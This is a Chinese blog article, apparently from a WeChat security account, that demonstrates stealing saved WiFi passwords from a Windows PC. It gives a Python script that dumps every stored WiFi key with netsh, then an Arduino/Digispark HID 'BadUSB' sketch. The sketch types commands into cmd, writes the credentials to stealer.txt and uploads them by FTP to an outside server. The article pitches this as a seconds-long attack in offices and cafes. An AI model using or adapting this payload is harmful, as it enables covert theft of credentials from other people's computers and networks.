你电脑的 WiFi 密码全是我的

本文作者:hodit/98(信安之路无线安全小组)

无线的时代已经来临,是他让我们感受到了没有线的束缚的感觉,随之而来的安全问题就越来越多,如今主流的 WiFi 密码破解手法如:跑字典丶钓鱼 WiFi 他们都是有自己的优缺点,跑字典需要大量的字典数据和算力的设备进行跑,钓鱼 WiFi 需要长时间的等待。而这些破解手法还不一定能百分之百能破解目标 WiFi,接下来我们将使用一种非常简单的手法进行收集 WiFi 密码和 WiFi 名字。

上一篇文章中《打造属于自己的渗透神器2》中有讲到可以使用 dos 命令进行自动寻找 WiFi 密码,而今天为我们就来实现。我们都知道一个 WiFi 是有信号范围的如果我们要破解这个 WiFi 就需要在这个区域,当然我们这个攻击也是需要,电脑中有一个查询电脑之前连接过哪些 WiFi 密码的 DOS 命令。

这里显示的都是这台电脑到目前为止连接过的 WiFi 密码,当我们要显示出来某一个的时候, 如图:

他会出现一些这个 WiFi 的信息我们在往下面看:

出现了我们想要的东西,也就是我们想要的密码。那接下来我们就要整理思路了!

整理完思路就可以动工了!!!

import os
import re
wifi=('netsh wlan show profiles ')
#name=Hello World key=clear
with os.popen(wifi) as f:
   wifiname_list=[]
   for line in f:
       if'所有用户配置文件 :'in line:
           #print(line)
           line= line.strip()
           wifiname= line.split(':')[1]
           wifiname_list.append(wifiname)
   print(wifiname_list)
for i in wifiname_list:
   get=('netsh wlan show profiles name={} key=clear').format(i)
   withos.popen(get) asr:
       print(r.read())
   r.close()  
   #可以自己添加一些语句把输出保存到U盘或者某个地方(感谢群里面的小姐姐对本代码的修改和审核--CTF 小姐姐)

当运行完以后出现了我们想要的结果

可是这个时候不知道你们有没有想过当我在目标电脑上面运行这个程序,至少需要目标电脑的人不再电脑旁一分钟左右,为什么呢?你需要把这个程序安装到目标电脑上面运行然后保存目标电脑上面的全部 WiFi 连接数据或者拷贝到 u 盘里面而这些都是需要时间的,而且还有可能给查杀。

那么有方法可以在极短的时间里面把目标电脑上面的全部WiFi数据发送到一个地方呢?

当然有

客官里面请:

我们就会想到和 HID 攻击进行组合,那 HID 攻击是什么意思?

HID 是 Human Interface Device 的缩写,由其名称可以了解 HID 设备是直接与人交互的设备,例如键盘、鼠标与游戏杆等。不过 HID 设备并不一定要有人机接口,只要符合 HID 类别规范的设备都是 HID 设备。一般来讲针对 HID 的攻击主要集中在键盘鼠标上,因为只要控制了用户键盘,基本上就等于控制了用户的电脑。攻击者会把攻击隐藏在一个正常的鼠标键盘中,当用户将含有攻击向量的鼠标或键盘,插入电脑时,恶意代码会被加载并执行。

这个时候我们思路就要变化了:

实验环境(以下实验具有一定的攻击性)

1.Teensy ++ 2.0 (硬件)30-50 块钱

2.Teensyduino 插件

3.arduino 环境

4.Digispark ATtiny (本项目用到的环境,在之前的文章中有提到《打造自己的渗透神器》)

既然是 HID 攻击那我们就需要知道键盘输入的语句

Arduino 提供了以下键盘函数

#include //包含键盘模块的头文件

Keyboard.begin(); //开启键盘通信

Keyboard.press(); //按下某个键

Keyboard.release();//释放某个键

Keyboard.println(); //输入某些内容和一些网上的解释不同 网上解释是输入内容并且能回车,而我测试的时候并不能回车可能和版本有关 不要不要担心有办法回车

Keyboard.end(); //结束键盘通信

攻击程序:

void setup()      //初始化函数
{
delay(500);
Keyboard.begin();
delay(1000);
Keyboard.press(KEY_LEFT_GUI);
delay(500);
Keyboard.press('r');
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
delay(500);
Keyboard.println("cmd");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.print("E:");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.print("netsh wlan show profile name=* key=clear > stealer.txt");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(2000);
Keyboard.print("ftp -i 009.3vftp.com"); // ftp服务器地址
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(3000);
Keyboard.print("your username");  //ftp账号 Keyboard.press(KEY_RETURN);   Keybo
ard.release(KEY_RETURN);
delay(1000);
Keyboard.print("your password");    //ftp密码 Keyboard.press(KEY_RETURN);   Keybo
ard.release(KEY_RETURN);
delay(1000);
Keyboard.print("put stealer.txt");  delay(3000);  Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
}
void loop() {   }   //循环函数

当运行完以后, 如图:

目标电脑会向攻击者的 ftp 地址发送之前保存的全部 WiFi 密码和名字,我们会发现此次攻击只花费了 0.47 秒就完成了寻找本机全部 WiFi 密码并且保存和上传。

总结

这种攻击方法比较隐蔽而且危害性比较大,例如你是某企业的高管每天带着电脑去个个地方开会,连接每一个开会场所的无线网络,你的电脑会保存到很多地方的 WiFi 密码和名字,只要让攻击者接触你电脑 2-3 秒就可以完成对你这一台电脑的 WiFi 密码和 WiFi 名字的收集并且上传,当攻击者连接上就可以做他想做的事情。而这种攻击手法非常适合在会议室丶办公室丶咖啡厅等等这些地方,只需要抓到几秒的时间就可以完成攻击。

不知道这样的演示给你们带来了什么样的思考,给我的思考就是安全也就是那么眨眼间的事情,既然可以收集WiFi密码那也就是可以收集电脑里面的数据进行上传。

原文发布于微信公众号 - 信安之路(xazlsec)

原文发表时间:2018-11-10

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏乐百川的学习频道

在计算机中安装Manjaro

前几天我为了尝鲜在电脑中安装了大蜥蜴(OpenSuse),新鲜期过了之后我准备换回原来的ArchLinux,结果发现大蜥蜴把原来的Grub设置覆盖了。如果要恢复...

99780
来自专栏互联网杂技

Chrome 61 Beta版已支持JavaScript模块,Web支付API,Web Share API和WebUSB

Chrome 61 Beta版:JavaScript模块,桌面支付请求API,Web Share API,以及WebUSB 除非另有说明,否则下述更改适用于An...

32060
来自专栏张戈的专栏

分享WordPress显示评论者IP的归属地及运营商信息的2种方案

张戈博客之前分享过一篇《WordPress 显示访客 UA 信息:Show UserAgent 纯代码轻度汉化版》的部署教程,算是满足了 WordPress 折...

37660
来自专栏自由而无用的灵魂的碎碎念

Windows 8学习总结

可以单独关闭蓝牙和wi-fi,或者使用飞行模式,全局的全部关闭。 需要注意的时,关闭他们后,还是需要从这里启用,否则提示已由用户禁用,无法启用:

10520
来自专栏WindCoder

WordPress开发人员犯的12个最严重的错误

原本之前还有篇ruby的,拖得时间有点久了,同时本身没想过去过多接触ruby,所以暂且就不再祸害那篇文章了,有兴趣的可自己去看Creating a Ruby D...

27110
来自专栏极乐技术社区

微信小程序跳坑指南系列《一》:新坑30枚

1、小程序名称可以由中文、数字、英文。长度在3-20个字符之间,一个中文字等于2个字符。 2、小程序名称不得与公众平台已有的订阅号、服务号重复。如提示重名,请更...

271100
来自专栏更流畅、简洁的软件开发方式

【自然框架】之 “工作日志”和“选择日期”

      上周回家办点事,更新的事情就有耽搁了。对不住大家,所以这周要努力了。       我发现要做的事情太多了,做过了哪些事情也都记不清了,所以有必要弄个...

25560
来自专栏极乐技术社区

微信小程序开发需要注意的30个坑

1、小程序名称可以由中文、数字、英文。长度在3-20个字符之间,一个中文字等于2个字符。 2、小程序名称不得与公众平台已有的订阅号、服务号重复。如提示重名,请更...

55280
来自专栏程序你好

三分钟让你了解什么是Web开发?

10330
来自专栏Linux技术资源分享

自动化运维之ansible

28770

扫码关注云+社区

领取腾讯云代金券